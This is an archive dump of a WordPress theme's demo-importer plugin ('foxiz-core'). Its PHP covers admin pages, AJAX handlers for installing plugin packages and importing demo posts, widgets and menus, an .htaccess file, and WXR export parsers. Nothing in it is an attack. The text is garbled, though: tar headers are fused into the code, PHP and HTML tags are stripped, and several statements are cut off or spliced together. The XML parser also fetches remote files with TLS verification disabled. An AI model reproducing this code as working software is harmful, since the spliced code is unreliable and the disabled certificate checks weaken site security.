import.php000064400000007223147207153120006575 0ustar00demos_path = apply_filters( 'rb_importer_demos_path', trailingslashit( plugin_dir_path( __FILE__ ) . 'demos' ) ); $this->demos_url = apply_filters( 'rb_importer_demos_url', trailingslashit( plugin_dir_url( __FILE__ ) . 'demos' ) ); $this->demos = RB_ADMIN_CORE::get_instance()->get_imports(); } /** set sub page */ public function set_sub_page() { $this->page_title = esc_html__( 'Demo Importer', 'foxiz-core' ); $this->menu_title = esc_html__( 'Demo Importer', 'foxiz-core' ); $this->menu_slug = 'rb-demo-importer'; $this->capability = 'administrator'; } public function get_slug() { if ( ! $this->validate() ) { return 'admin/templates/validate'; } else { return 'admin/import/template'; } } public function get_name() { if ( ! $this->validate() ) { return 'redirect'; } else { return false; } } /** * @param $url * @param string $method * @param false $context * @param null $fields * * @return bool * init file */ public function init_filesystem( $url, $method = '', $context = false, $fields = null ) { if ( ! empty( $this->creds ) ) { return true; } require_once ABSPATH . '/wp-admin/includes/template.php'; require_once ABSPATH . '/wp-includes/pluggable.php'; require_once ABSPATH . '/wp-admin/includes/file.php'; if ( false === ( $this->creds = request_filesystem_credentials( $url, '', false, $context, null ) ) ) { return false; } if ( ! WP_Filesystem( $this->creds ) ) { request_filesystem_credentials( $url, '', true, $context, null ); return false; } return true; } /** create index */ public function create_index() { $this->init_filesystem( wp_nonce_url( '?page=' . $this->menu_slug ) ); global $wp_filesystem; $this->filesystem = $wp_filesystem; $index_path = trailingslashit( $this->demos_path ) . 'index.php'; if ( ! file_exists( $index_path ) ) { $this->filesystem->put_contents( $index_path, 'create_index(); $params = array(); $imported = get_option( 'rb_imported_demos' ); $params['demos'] = $this->demos; if ( is_array( $params['demos'] ) && count( $params['demos'] ) ) { foreach ( $params['demos'] as $directory => $values ) { if ( empty( $params['demos'][ $directory ]['preview'] ) ) { $params['demos'][ $directory ]['preview'] = $this->demos_url . $directory . '.jpg'; } if ( is_array( $imported ) && ! empty( $imported[ $directory ] ) ) { $params['demos'][ $directory ]['imported'] = $imported[ $directory ]; } else { $params['demos'][ $directory ]['imported'] = 'none'; } } } $params = apply_filters( 'rb_importer_params', $params ); return $params; } } }ajax.php000064400000027664147207153120006221 0ustar00get_imports(); } /** * @return string */ function register_tos_id() { if ( ! defined( 'FOXIZ_TOS_ID' ) ) { return 'RUBY_OPTIONS'; } return FOXIZ_TOS_ID; } /** install external plugins */ public function install_package() { if ( ! current_user_can( 'install_plugins' ) ) { die( 0 ); } if ( ! isset( $_REQUEST['nonce'] ) || ! wp_verify_nonce( $_REQUEST['nonce'], 'rb-core' ) || ! isset ( $_REQUEST['slug'] ) || ! isset ( $_REQUEST['package'] ) ) { die( 0 ); } $package = base64_decode( $_REQUEST['package'] ); if ( ! class_exists( 'Plugin_Upgrader', false ) ) { require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; } $url = add_query_arg( array( 'action' => 'upload-plugin', 'plugin' => urlencode( sanitize_text_field( $_REQUEST['slug'] ) ), ), 'update.php' ); $skin_args = array( 'type' => 'upload', 'title' => '', 'url' => esc_url_raw( $url ), ); $skin = new Plugin_Installer_Skin( $skin_args ); $upgrader = new Plugin_Upgrader( $skin ); $upgrader->install( $package ); die(); } /** importer */ public function importer() { $this->load(); if ( ! isset( $_REQUEST['nonce'] ) || ! wp_verify_nonce( $_REQUEST['nonce'], 'rb-core' ) || ! isset ( $_REQUEST['directory'] ) ) { die( 0 ); } $demos = $this->get_demos(); $directory = sanitize_text_field( $_REQUEST['directory'] ); $import_all = sanitize_text_field( $_REQUEST['import_all'] ); $import_content = sanitize_text_field( $_REQUEST['import_content'] ); $import_pages = sanitize_text_field( $_REQUEST['import_pages'] ); $import_opts = sanitize_text_field( $_REQUEST['import_opts'] ); $import_widgets = sanitize_text_field( $_REQUEST['import_widgets'] ); if ( ! isset( $demos[ $directory ] ) ) { wp_die( esc_html__( 'Not found!', 'foxiz-core' ) ); } $demo = $demos[ $directory ]; $data = array( 'directory' => $directory, 'theme_option_name' => $this->register_tos_id(), 'import_all' => $import_all, 'import_content' => $import_content, 'import_pages' => $import_pages, 'import_opts' => $import_opts, 'import_widgets' => $import_widgets, ); if ( isset( $demo['content'] ) ) { $data['content'] = $demo['content']; } if ( isset( $demo['pages'] ) ) { $data['pages'] = $demo['pages']; } if ( isset( $demo['theme_options'] ) ) { $data['theme_options'] = $demo['theme_options']; } if ( isset( $demo['categories'] ) ) { $data['categories'] = $demo['categories']; } if ( isset( $demo['widgets'] ) ) { $data['widgets'] = $demo['widgets']; } $this->before_import(); new RB_INIT_IMPORTER( $data ); } /** import progress */ public function before_import() { delete_option( 'rb_import_progress' ); add_action( 'wp_import_posts', array( $this, 'import_progress_setup' ) ); add_action( 'add_attachment', array( $this, 'update_progress' ) ); add_action( 'edit_attachment', array( $this, 'update_progress' ) ); add_action( 'wp_insert_post', array( $this, 'update_progress' ) ); add_filter( 'wp_import_post_data_raw', array( $this, 'check_post' ) ); } public function import_progress_setup( $posts ) { $progress_array = array( 'total_post' => count( $posts ), 'imported_count' => 0, 'remaining' => count( $posts ) ); update_option( 'rb_import_progress', $progress_array ); return $posts; } /** update progress */ public function update_progress() { $post_count = get_option( 'rb_import_progress' ); if ( is_array( $post_count ) ) { if ( $post_count['remaining'] > 0 ) { $post_count['remaining'] = $post_count['remaining'] - 1; $post_count['imported_count'] = $post_count['imported_count'] + 1; update_option( 'rb_import_progress', $post_count ); } else { $post_count['remaining'] = 0; $post_count['imported_count'] = $post_count['total_post']; update_option( 'rb_import_progress', $post_count ); } } } /** check posts */ public function check_post( $post ) { if ( ! post_type_exists( $post['post_type'] ) ) { $this->update_progress(); return $post; } if ( $post['status'] == 'auto-draft' ) { $this->update_progress(); return $post; } if ( 'nav_menu_item' == $post['post_type'] ) { $this->update_progress(); return $post; } $post_exists = post_exists( $post['post_title'], '', $post['post_date'] ); if ( $post_exists && get_post_type( $post_exists ) == $post['post_type'] ) { $this->update_progress(); return $post; } return $post; } /** * get_progress */ public function get_progress() { $progress = get_option( 'rb_import_progress' ); wp_send_json( $progress ); die(); } /** * @param string $directory */ function after_import_content( $directory = '' ) { $demos = $this->get_demos(); if ( ! empty( $demos[ $directory ]['homepage'] ) ) { $page = get_page_by_title( $demos[ $directory ]['homepage'] ); if ( ! empty( $page->ID ) ) { update_option( 'page_on_front', $page->ID ); update_option( 'show_on_front', 'page' ); $blog = get_page_by_title( 'Blog' ); if ( ! empty( $blog->ID ) ) { update_option( 'page_for_posts', $blog->ID ); } } else { update_option( 'page_on_front', 0 ); update_option( 'show_on_front', 'posts' ); } } /** setup WC */ if ( class_exists( 'WC_Install' ) ) { WC_Install::create_pages(); } /** setup menu */ $main_menu = get_term_by( 'name', 'main', 'nav_menu' ); $mobile_menu = get_term_by( 'name', 'mobile', 'nav_menu' ); $quick_menu = get_term_by( 'name', 'mobile-quick-access', 'nav_menu' ); $menu_locations = array(); if ( isset( $main_menu->term_id ) ) { $menu_locations['foxiz_main'] = $main_menu->term_id; } if ( isset( $mobile_menu->term_id ) ) { $menu_locations['foxiz_mobile'] = $mobile_menu->term_id; } if ( isset( $quick_menu->term_id ) ) { $menu_locations['foxiz_mobile_quick'] = $quick_menu->term_id; } set_theme_mod( 'nav_menu_locations', $menu_locations ); } function register_demo_widgets() { /** empty sidebars */ $sidebars_widgets['foxiz_sidebar_default'] = array(); $sidebars_widgets['foxiz_sidebar_more'] = array(); $sidebars_widgets['foxiz_sidebar_fw_footer'] = array(); $sidebars_widgets['foxiz_sidebar_footer_1'] = array(); $sidebars_widgets['foxiz_sidebar_footer_2'] = array(); $sidebars_widgets['foxiz_sidebar_footer_3'] = array(); $sidebars_widgets['foxiz_sidebar_footer_4'] = array(); $sidebars_widgets['foxiz_sidebar_footer_5'] = array(); $sidebars_widgets['foxiz_entry_top'] = array(); $sidebars_widgets['foxiz_entry_bottom'] = array(); $sidebars_widgets['foxiz_sidebar_multi_sb1'] = array(); $sidebars_widgets['foxiz_sidebar_multi_sb2'] = array(); $sidebars_widgets['foxiz_sidebar_multi_next-posts'] = array(); $sidebars_widgets['foxiz_sidebar_multi_single'] = array(); $sidebars_widgets['foxiz_sidebar_multi_blog'] = array(); $sidebars_widgets['foxiz_sidebar_multi_contact'] = array(); /** add sidebars */ $theme_options = get_option( 'foxiz_theme_options' ); $theme_options['multi_sidebars'] = array( 'sb1', 'sb2', 'next-posts', 'single', 'blog', 'contact' ); update_option( 'sidebars_widgets', $sidebars_widgets ); update_option( FOXIZ_TOS_ID, $theme_options ); /** register sidebar to import */ register_sidebar( array( 'name' => 'More Menu Section', 'id' => 'foxiz_sidebar_more', 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

' ) ); register_sidebar( array( 'name' => 'sb1', 'id' => 'foxiz_sidebar_multi_sb1', 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

' ) ); register_sidebar( array( 'name' => 'sb2', 'id' => 'foxiz_sidebar_multi_sb2', 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

' ) ); register_sidebar( array( 'name' => 'next-posts', 'id' => 'foxiz_sidebar_multi_next-posts', 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

' ) ); register_sidebar( array( 'name' => 'single', 'id' => 'foxiz_sidebar_multi_single', 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

' ) ); register_sidebar( array( 'name' => 'contact', 'id' => 'foxiz_sidebar_multi_contact', 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

' ) ); register_sidebar( array( 'name' => 'blog', 'id' => 'foxiz_sidebar_multi_blog', 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

' ) ); return false; } /** remove duplicate menu */ function duplicate_menu() { $deleted_menus = array( 'main', 'mobile', 'mobile-quick-access', 'more-1', 'more-2', 'more-3', 'footer-1', 'footer-2', 'footer-3', 'footer-4', 'footer-5', 'quick-link', 'top-categories', 'advertise', 'footer-copyright', 'logged' ); foreach ( $deleted_menus as $menu ) { wp_delete_nav_menu( $menu ); } return false; } /** * remove cache */ public function remove_dynamic_style() { delete_option( 'foxiz_style_cache' ); } } } demos/index.php000064400000000034147207153120007472 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] template.php000064400000011023147207153120007067 0ustar00

'.esc_html__( 'Sorry, you are not allowed to install demos on this site.', 'foxiz-core' ).'

' ); } if ( empty( $demos ) || ! is_array( $demos ) ) { wp_die( '

'.esc_html__('Something went wrong, Try to re-activate the theme again!', 'foxiz-core').'

'); }; $nonce = wp_create_nonce( 'rb-core' ); ?>

Importing theme demo, It will allow you to quickly edit everything instead of creating content from scratch. Please DO NOT navigate away from this page while the importer is processing. This may take up to 5 ~ 7 minutes, Depend on the server speed.

We do not have right to include some images of demos in the content due to copyright issue, so images will look different with the demo. The structures of demos will still be left intact so can use your own images in their places if you desire.

Import Tips:

- Refresh this page and re-import if the process cannot complete after 5 minutes.

- You can choose Only Pages, Widgets and Theme Options to import if you site already have data.

- Don't need to install or activate Recommended & Optional plugins if you don't want to use it.

- Install and activate Woocommerce plugin before importing if you would like setup shop.

- Online Documentation: http://help.themeruby.com/foxiz

$demo ) : if ( ! empty( $demo['imported'] ) && is_array( $demo['imported'] ) ) { $imported = true; $item_classes = 'rb-demo-item active is-imported'; $import_message = esc_html__( 'Already Imported', 'foxiz-core' ); } else { $item_classes = 'rb-demo-item not-imported'; $imported = false; $import_message = esc_html__( 'Import Demo', 'foxiz-core' ); } ?>
<?php esc_attr( $demo['name'] ); ?> 0%

parts.php000064400000012264147207153120006415 0ustar00'; echo '

' . esc_html__( 'Select Content', 'foxiz-core' ) . '

'; echo '
'; echo '
'; echo '' . esc_html__( 'All Demo Content', 'foxiz-core' ) . ''; echo '
'; echo '
'; echo '
'; echo '' . esc_html__( 'Content (Posts, Pages & Media)', 'foxiz-core' ) . ''; echo '
'; echo '
'; echo '' . esc_html__( 'Only Pages', 'foxiz-core' ) . ''; echo '
'; echo '
'; echo '' . esc_html__( 'Theme Options', 'foxiz-core' ) . ''; echo '
'; echo '
'; echo '' . esc_html__( 'Widgets', 'foxiz-core' ) . ''; echo '
'; echo '
'; echo ''; } } if ( ! function_exists( 'rb_importer_plugins_form' ) ) { /** * @param $plugins * @param string $nonce */ function rb_importer_plugins_form( $plugins, $nonce = '' ) { $site_plugins = get_plugins(); $repo = 'https://wordpress.org/plugins/'; foreach ( $plugins as $plugin ) { if ( empty( $plugin['name'] ) || empty( $plugin['slug'] ) ) { continue; } $classname = 'plugin-el'; if ( ! empty( $plugin['class'] ) ) { $classname .= ' ' . $plugin['class']; } if ( empty( $plugin['file'] ) ) { $plugin_plug = $plugin['slug'] . '/' . $plugin['slug'] . '.php'; } else { $plugin_plug = $plugin['slug'] . '/' . $plugin['file'] . '.php'; } if ( array_key_exists( $plugin_plug, $site_plugins ) ) { /** plugin installed */ echo '
'; echo '' . esc_html( $plugin['name'] ); if ( ! empty( $plugin['info'] ) ) { echo '(' . esc_html( $plugin['info'] ) . ')'; } echo ''; if ( is_plugin_active( $plugin_plug ) ) { echo '' . esc_html__( 'Activated', 'foxiz-core' ) . ''; } else { $active_link = wp_nonce_url( admin_url( 'plugins.php?action=activate&plugin=' . $plugin_plug ), 'activate-plugin_' . $plugin_plug ); echo '' . esc_html__( 'Activate', 'foxiz-core' ) . ''; } echo '
'; } else { /** plugin not install */ if ( ! empty( $plugin['source'] ) ) { $classname = 'plugin-el'; if ( ! empty( $plugin['class'] ) ) { $classname .= ' ' . $plugin['class']; } echo '
'; echo '' . esc_html( $plugin['name'] ); if ( ! empty( $plugin['info'] ) ) { echo '(' . esc_html( $plugin['info'] ) . ')'; } echo ''; echo ''; echo '' . esc_html__( 'Install Package', 'foxiz-importer' ) . ''; echo '
'; } else { $install_link = wp_nonce_url( add_query_arg( array( 'action' => 'install-plugin', 'plugin' => $plugin['slug'] ), admin_url( 'update.php' ) ), 'install-plugin' . '_' . $plugin['slug'] ); echo '
'; echo '' . esc_html( $plugin['name'] ) .''; if ( ! empty( $plugin['info'] ) ) { echo '(' . esc_html( $plugin['info'] ) . ')'; } echo ''; echo ''; echo '' . esc_html__( 'Install', 'foxiz-core' ) . ''; echo '
'; } } } } } lib/parsers/class-wxr-parser-simplexml.php000064400000017731147207153120014742 0ustar00 600, 'sslverify' => false ) ) ); $body = wp_remote_retrieve_body( $response ); $success = $dom->loadXML( $body ); } // $success = $dom->loadXML( file_get_contents( $file ) ); if ( ! is_null( $old_value ) ) { libxml_disable_entity_loader( $old_value ); } if ( ! $success || isset( $dom->doctype ) ) { return new WP_Error( 'SimpleXML_parse_error', __( 'There was an error when reading this WXR file', 'wordpress-importer' ), libxml_get_errors() ); } $xml = simplexml_import_dom( $dom ); unset( $dom ); // halt if loading produces an error if ( ! $xml ) return new WP_Error( 'SimpleXML_parse_error', __( 'There was an error when reading this WXR file', 'wordpress-importer' ), libxml_get_errors() ); $wxr_version = $xml->xpath('/rss/channel/wp:wxr_version'); if ( ! $wxr_version ) return new WP_Error( 'WXR_parse_error', __( 'This does not appear to be a WXR file, missing/invalid WXR version number', 'wordpress-importer' ) ); $wxr_version = (string) trim( $wxr_version[0] ); // confirm that we are dealing with the correct file format if ( ! preg_match( '/^\d+\.\d+$/', $wxr_version ) ) return new WP_Error( 'WXR_parse_error', __( 'This does not appear to be a WXR file, missing/invalid WXR version number', 'wordpress-importer' ) ); $base_url = $xml->xpath('/rss/channel/wp:base_site_url'); $base_url = (string) trim( isset( $base_url[0] ) ? $base_url[0] : '' ); $base_blog_url = $xml->xpath('/rss/channel/wp:base_blog_url'); if ( $base_blog_url ) { $base_blog_url = (string) trim( $base_blog_url[0] ); } else { $base_blog_url = $base_url; } $namespaces = $xml->getDocNamespaces(); if ( ! isset( $namespaces['wp'] ) ) $namespaces['wp'] = 'http://wordpress.org/export/1.1/'; if ( ! isset( $namespaces['excerpt'] ) ) $namespaces['excerpt'] = 'http://wordpress.org/export/1.1/excerpt/'; // grab authors foreach ( $xml->xpath('/rss/channel/wp:author') as $author_arr ) { $a = $author_arr->children( $namespaces['wp'] ); $login = (string) $a->author_login; $authors[$login] = array( 'author_id' => (int) $a->author_id, 'author_login' => $login, 'author_email' => (string) $a->author_email, 'author_display_name' => (string) $a->author_display_name, 'author_first_name' => (string) $a->author_first_name, 'author_last_name' => (string) $a->author_last_name ); } // grab cats, tags and terms foreach ( $xml->xpath('/rss/channel/wp:category') as $term_arr ) { $t = $term_arr->children( $namespaces['wp'] ); $category = array( 'term_id' => (int) $t->term_id, 'category_nicename' => (string) $t->category_nicename, 'category_parent' => (string) $t->category_parent, 'cat_name' => (string) $t->cat_name, 'category_description' => (string) $t->category_description ); foreach ( $t->termmeta as $meta ) { $category['termmeta'][] = array( 'key' => (string) $meta->meta_key, 'value' => (string) $meta->meta_value ); } $categories[] = $category; } foreach ( $xml->xpath('/rss/channel/wp:tag') as $term_arr ) { $t = $term_arr->children( $namespaces['wp'] ); $tag = array( 'term_id' => (int) $t->term_id, 'tag_slug' => (string) $t->tag_slug, 'tag_name' => (string) $t->tag_name, 'tag_description' => (string) $t->tag_description ); foreach ( $t->termmeta as $meta ) { $tag['termmeta'][] = array( 'key' => (string) $meta->meta_key, 'value' => (string) $meta->meta_value ); } $tags[] = $tag; } foreach ( $xml->xpath('/rss/channel/wp:term') as $term_arr ) { $t = $term_arr->children( $namespaces['wp'] ); $term = array( 'term_id' => (int) $t->term_id, 'term_taxonomy' => (string) $t->term_taxonomy, 'slug' => (string) $t->term_slug, 'term_parent' => (string) $t->term_parent, 'term_name' => (string) $t->term_name, 'term_description' => (string) $t->term_description ); foreach ( $t->termmeta as $meta ) { $term['termmeta'][] = array( 'key' => (string) $meta->meta_key, 'value' => (string) $meta->meta_value ); } $terms[] = $term; } // grab posts foreach ( $xml->channel->item as $item ) { $post = array( 'post_title' => (string) $item->title, 'guid' => (string) $item->guid, ); $dc = $item->children( 'http://purl.org/dc/elements/1.1/' ); $post['post_author'] = (string) $dc->creator; $content = $item->children( 'http://purl.org/rss/1.0/modules/content/' ); $excerpt = $item->children( $namespaces['excerpt'] ); $post['post_content'] = (string) $content->encoded; $post['post_excerpt'] = (string) $excerpt->encoded; $wp = $item->children( $namespaces['wp'] ); $post['post_id'] = (int) $wp->post_id; $post['post_date'] = (string) $wp->post_date; $post['post_date_gmt'] = (string) $wp->post_date_gmt; $post['comment_status'] = (string) $wp->comment_status; $post['ping_status'] = (string) $wp->ping_status; $post['post_name'] = (string) $wp->post_name; $post['status'] = (string) $wp->status; $post['post_parent'] = (int) $wp->post_parent; $post['menu_order'] = (int) $wp->menu_order; $post['post_type'] = (string) $wp->post_type; $post['post_password'] = (string) $wp->post_password; $post['is_sticky'] = (int) $wp->is_sticky; if ( isset($wp->attachment_url) ) $post['attachment_url'] = (string) $wp->attachment_url; foreach ( $item->category as $c ) { $att = $c->attributes(); if ( isset( $att['nicename'] ) ) $post['terms'][] = array( 'name' => (string) $c, 'slug' => (string) $att['nicename'], 'domain' => (string) $att['domain'] ); } foreach ( $wp->postmeta as $meta ) { $post['postmeta'][] = array( 'key' => (string) $meta->meta_key, 'value' => (string) $meta->meta_value ); } foreach ( $wp->comment as $comment ) { $meta = array(); if ( isset( $comment->commentmeta ) ) { foreach ( $comment->commentmeta as $m ) { $meta[] = array( 'key' => (string) $m->meta_key, 'value' => (string) $m->meta_value ); } } $post['comments'][] = array( 'comment_id' => (int) $comment->comment_id, 'comment_author' => (string) $comment->comment_author, 'comment_author_email' => (string) $comment->comment_author_email, 'comment_author_IP' => (string) $comment->comment_author_IP, 'comment_author_url' => (string) $comment->comment_author_url, 'comment_date' => (string) $comment->comment_date, 'comment_date_gmt' => (string) $comment->comment_date_gmt, 'comment_content' => (string) $comment->comment_content, 'comment_approved' => (string) $comment->comment_approved, 'comment_type' => (string) $comment->comment_type, 'comment_parent' => (string) $comment->comment_parent, 'comment_user_id' => (int) $comment->comment_user_id, 'commentmeta' => $meta, ); } $posts[] = $post; } return array( 'authors' => $authors, 'posts' => $posts, 'categories' => $categories, 'tags' => $tags, 'terms' => $terms, 'base_url' => $base_url, 'base_blog_url' => $base_blog_url, 'version' => $wxr_version ); } } lib/parsers/class-wxr-parser-xml.php000064400000013442147207153120013523 0ustar00wxr_version = $this->in_post = $this->cdata = $this->data = $this->sub_data = $this->in_tag = $this->in_sub_tag = false; $this->authors = $this->posts = $this->term = $this->category = $this->tag = array(); $xml = xml_parser_create( 'UTF-8' ); xml_parser_set_option( $xml, XML_OPTION_SKIP_WHITE, 1 ); xml_parser_set_option( $xml, XML_OPTION_CASE_FOLDING, 0 ); xml_set_object( $xml, $this ); xml_set_character_data_handler( $xml, 'cdata' ); xml_set_element_handler( $xml, 'tag_open', 'tag_close' ); if ( ! xml_parse( $xml, file_get_contents( $file ), true ) ) { $current_line = xml_get_current_line_number( $xml ); $current_column = xml_get_current_column_number( $xml ); $error_code = xml_get_error_code( $xml ); $error_string = xml_error_string( $error_code ); return new WP_Error( 'XML_parse_error', 'There was an error when reading this WXR file', array( $current_line, $current_column, $error_string ) ); } xml_parser_free( $xml ); if ( ! preg_match( '/^\d+\.\d+$/', $this->wxr_version ) ) return new WP_Error( 'WXR_parse_error', __( 'This does not appear to be a WXR file, missing/invalid WXR version number', 'wordpress-importer' ) ); return array( 'authors' => $this->authors, 'posts' => $this->posts, 'categories' => $this->category, 'tags' => $this->tag, 'terms' => $this->term, 'base_url' => $this->base_url, 'base_blog_url' => $this->base_blog_url, 'version' => $this->wxr_version ); } function tag_open( $parse, $tag, $attr ) { if ( in_array( $tag, $this->wp_tags ) ) { $this->in_tag = substr( $tag, 3 ); return; } if ( in_array( $tag, $this->wp_sub_tags ) ) { $this->in_sub_tag = substr( $tag, 3 ); return; } switch ( $tag ) { case 'category': if ( isset($attr['domain'], $attr['nicename']) ) { $this->sub_data['domain'] = $attr['domain']; $this->sub_data['slug'] = $attr['nicename']; } break; case 'item': $this->in_post = true; case 'title': if ( $this->in_post ) $this->in_tag = 'post_title'; break; case 'guid': $this->in_tag = 'guid'; break; case 'dc:creator': $this->in_tag = 'post_author'; break; case 'content:encoded': $this->in_tag = 'post_content'; break; case 'excerpt:encoded': $this->in_tag = 'post_excerpt'; break; case 'wp:term_slug': $this->in_tag = 'slug'; break; case 'wp:meta_key': $this->in_sub_tag = 'key'; break; case 'wp:meta_value': $this->in_sub_tag = 'value'; break; } } function cdata( $parser, $cdata ) { if ( ! trim( $cdata ) ) return; if ( false !== $this->in_tag || false !== $this->in_sub_tag ) { $this->cdata .= $cdata; } else { $this->cdata .= trim( $cdata ); } } function tag_close( $parser, $tag ) { switch ( $tag ) { case 'wp:comment': unset( $this->sub_data['key'], $this->sub_data['value'] ); // remove meta sub_data if ( ! empty( $this->sub_data ) ) $this->data['comments'][] = $this->sub_data; $this->sub_data = false; break; case 'wp:commentmeta': $this->sub_data['commentmeta'][] = array( 'key' => $this->sub_data['key'], 'value' => $this->sub_data['value'] ); break; case 'category': if ( ! empty( $this->sub_data ) ) { $this->sub_data['name'] = $this->cdata; $this->data['terms'][] = $this->sub_data; } $this->sub_data = false; break; case 'wp:postmeta': if ( ! empty( $this->sub_data ) ) $this->data['postmeta'][] = $this->sub_data; $this->sub_data = false; break; case 'item': $this->posts[] = $this->data; $this->data = false; break; case 'wp:category': case 'wp:tag': case 'wp:term': $n = substr( $tag, 3 ); array_push( $this->$n, $this->data ); $this->data = false; break; case 'wp:termmeta': if ( ! empty( $this->sub_data ) ) { $this->data['termmeta'][] = $this->sub_data; } $this->sub_data = false; break; case 'wp:author': if ( ! empty($this->data['author_login']) ) $this->authors[$this->data['author_login']] = $this->data; $this->data = false; break; case 'wp:base_site_url': $this->base_url = $this->cdata; if ( ! isset( $this->base_blog_url ) ) { $this->base_blog_url = $this->cdata; } break; case 'wp:base_blog_url': $this->base_blog_url = $this->cdata; break; case 'wp:wxr_version': $this->wxr_version = $this->cdata; break; default: if ( $this->in_sub_tag ) { $this->sub_data[$this->in_sub_tag] = ! empty( $this->cdata ) ? $this->cdata : ''; $this->in_sub_tag = false; } else if ( $this->in_tag ) { $this->data[$this->in_tag] = ! empty( $this->cdata ) ? $this->cdata : ''; $this->in_tag = false; } } $this->cdata = false; } } lib/parsers/class-wxr-parser-regex.php000064400000024751147207153120014042 0ustar00has_gzip = is_callable( 'gzopen' ); } function parse( $file ) { $wxr_version = $in_multiline = false; $multiline_content = ''; $multiline_tags = array( 'item' => array( 'posts', array( $this, 'process_post' ) ), 'wp:category' => array( 'categories', array( $this, 'process_category' ) ), 'wp:tag' => array( 'tags', array( $this, 'process_tag' ) ), 'wp:term' => array( 'terms', array( $this, 'process_term' ) ), ); $fp = $this->fopen( $file, 'r' ); if ( $fp ) { while ( ! $this->feof( $fp ) ) { $importline = rtrim( $this->fgets( $fp ) ); if ( ! $wxr_version && preg_match( '|(\d+\.\d+)|', $importline, $version ) ) $wxr_version = $version[1]; if ( false !== strpos( $importline, '' ) ) { preg_match( '|(.*?)|is', $importline, $url ); $this->base_url = $url[1]; continue; } if ( false !== strpos( $importline, '' ) ) { preg_match( '|(.*?)|is', $importline, $blog_url ); $this->base_blog_url = $blog_url[1]; continue; } else { $this->base_blog_url = $this->base_url; } if ( false !== strpos( $importline, '' ) ) { preg_match( '|(.*?)|is', $importline, $author ); $a = $this->process_author( $author[1] ); $this->authors[$a['author_login']] = $a; continue; } foreach ( $multiline_tags as $tag => $handler ) { // Handle multi-line tags on a singular line if ( preg_match( '|<' . $tag . '>(.*?)|is', $importline, $matches ) ) { $this->{$handler[0]}[] = call_user_func( $handler[1], $matches[1] ); } elseif ( false !== ( $pos = strpos( $importline, "<$tag>" ) ) ) { // Take note of any content after the opening tag $multiline_content = trim( substr( $importline, $pos + strlen( $tag ) + 2 ) ); // We don't want to have this line added to `$is_multiline` below. $importline = ''; $in_multiline = $tag; } elseif ( false !== ( $pos = strpos( $importline, "" ) ) ) { $in_multiline = false; $multiline_content .= trim( substr( $importline, 0, $pos ) ); $this->{$handler[0]}[] = call_user_func( $handler[1], $multiline_content ); } } if ( $in_multiline && $importline ) { $multiline_content .= $importline . "\n"; } } $this->fclose($fp); } if ( ! $wxr_version ) return new WP_Error( 'WXR_parse_error', __( 'This does not appear to be a WXR file, missing/invalid WXR version number', 'wordpress-importer' ) ); return array( 'authors' => $this->authors, 'posts' => $this->posts, 'categories' => $this->categories, 'tags' => $this->tags, 'terms' => $this->terms, 'base_url' => $this->base_url, 'base_blog_url' => $this->base_blog_url, 'version' => $wxr_version ); } function get_tag( $string, $tag ) { preg_match( "|<$tag.*?>(.*?)|is", $string, $return ); if ( isset( $return[1] ) ) { if ( substr( $return[1], 0, 9 ) == '' ) !== false ) { preg_match_all( '||s', $return[1], $matches ); $return = ''; foreach( $matches[1] as $match ) $return .= $match; } else { $return = preg_replace( '|^$|s', '$1', $return[1] ); } } else { $return = $return[1]; } } else { $return = ''; } return $return; } function process_category( $c ) { $term = array( 'term_id' => $this->get_tag( $c, 'wp:term_id' ), 'cat_name' => $this->get_tag( $c, 'wp:cat_name' ), 'category_nicename' => $this->get_tag( $c, 'wp:category_nicename' ), 'category_parent' => $this->get_tag( $c, 'wp:category_parent' ), 'category_description' => $this->get_tag( $c, 'wp:category_description' ), ); $term_meta = $this->process_meta( $c, 'wp:termmeta' ); if ( ! empty( $term_meta ) ) { $term['termmeta'] = $term_meta; } return $term; } function process_tag( $t ) { $term = array( 'term_id' => $this->get_tag( $t, 'wp:term_id' ), 'tag_name' => $this->get_tag( $t, 'wp:tag_name' ), 'tag_slug' => $this->get_tag( $t, 'wp:tag_slug' ), 'tag_description' => $this->get_tag( $t, 'wp:tag_description' ), ); $term_meta = $this->process_meta( $t, 'wp:termmeta' ); if ( ! empty( $term_meta ) ) { $term['termmeta'] = $term_meta; } return $term; } function process_term( $t ) { $term = array( 'term_id' => $this->get_tag( $t, 'wp:term_id' ), 'term_taxonomy' => $this->get_tag( $t, 'wp:term_taxonomy' ), 'slug' => $this->get_tag( $t, 'wp:term_slug' ), 'term_parent' => $this->get_tag( $t, 'wp:term_parent' ), 'term_name' => $this->get_tag( $t, 'wp:term_name' ), 'term_description' => $this->get_tag( $t, 'wp:term_description' ), ); $term_meta = $this->process_meta( $t, 'wp:termmeta' ); if ( ! empty( $term_meta ) ) { $term['termmeta'] = $term_meta; } return $term; } function process_meta( $string, $tag ) { $parsed_meta = array(); preg_match_all( "|<$tag>(.+?)|is", $string, $meta ); if ( ! isset( $meta[1] ) ) { return $parsed_meta; } foreach ( $meta[1] as $m ) { $parsed_meta[] = array( 'key' => $this->get_tag( $m, 'wp:meta_key' ), 'value' => $this->get_tag( $m, 'wp:meta_value' ), ); } return $parsed_meta; } function process_author( $a ) { return array( 'author_id' => $this->get_tag( $a, 'wp:author_id' ), 'author_login' => $this->get_tag( $a, 'wp:author_login' ), 'author_email' => $this->get_tag( $a, 'wp:author_email' ), 'author_display_name' => $this->get_tag( $a, 'wp:author_display_name' ), 'author_first_name' => $this->get_tag( $a, 'wp:author_first_name' ), 'author_last_name' => $this->get_tag( $a, 'wp:author_last_name' ), ); } function process_post( $post ) { $post_id = $this->get_tag( $post, 'wp:post_id' ); $post_title = $this->get_tag( $post, 'title' ); $post_date = $this->get_tag( $post, 'wp:post_date' ); $post_date_gmt = $this->get_tag( $post, 'wp:post_date_gmt' ); $comment_status = $this->get_tag( $post, 'wp:comment_status' ); $ping_status = $this->get_tag( $post, 